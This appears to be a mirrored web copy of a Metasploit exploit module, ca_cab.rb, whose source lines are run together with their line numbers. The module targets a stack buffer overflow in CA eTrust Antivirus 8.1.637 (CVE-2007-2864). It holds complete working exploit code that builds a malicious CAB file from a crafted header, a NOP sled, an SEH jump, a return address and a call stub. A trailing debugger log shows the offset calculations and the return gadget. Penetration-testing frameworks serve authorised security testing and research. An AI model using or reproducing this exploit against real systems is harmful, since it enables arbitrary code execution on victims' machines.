Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/ca_cab.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'CA Antivirus Engine CAB Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.15By creating a specially crafted CAB file, an attacker may be able16to execute arbitrary code.17},18'License' => MSF_LICENSE,19'Author' => [ 'MC' ],20'References' =>21[22[ 'CVE', '2007-2864' ],23[ 'OSVDB', '35245'],24[ 'BID', '24330' ],25[ 'ZDI', '07-035' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30'DisablePayloadHandler' => true,31},32'Payload' =>33{34'Space' => 250,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",38},39'Platform' => 'win',40'Targets' =>41[42[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll43],44'Privileged' => false,45'DisclosureDate' => '2007-06-05',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),51])52end5354def exploit5556cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"57cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"58cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"59cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"6061sploit = make_nops(268 - payload.encoded.length) + payload.encoded62sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')63sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string64sploit << make_nops(800)6566cab = cab_header + sploit6768print_status("Creating '#{datastore['FILENAME']}' file ...")6970file_create(cab)7172end73end7475=begin760:001> !exchain7700cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)7800cdf2fc: 316a413079Invalid exception stack at 6a413969800:001> !pattern_offset 1024 0x6a41396981[Byakugan] Control of 0x6a413969 at offset 268.820:001> !pattern_offset 1024 0x316a413083[Byakugan] Control of 0x316a4130 at offset 272.840:001> u 0x6dc886ea L385INOCORE!QSIInitQSysInfo+0x278a:866dc886ea 5f pop edi876dc886eb 5e pop esi886dc886ec c3 ret89=end909192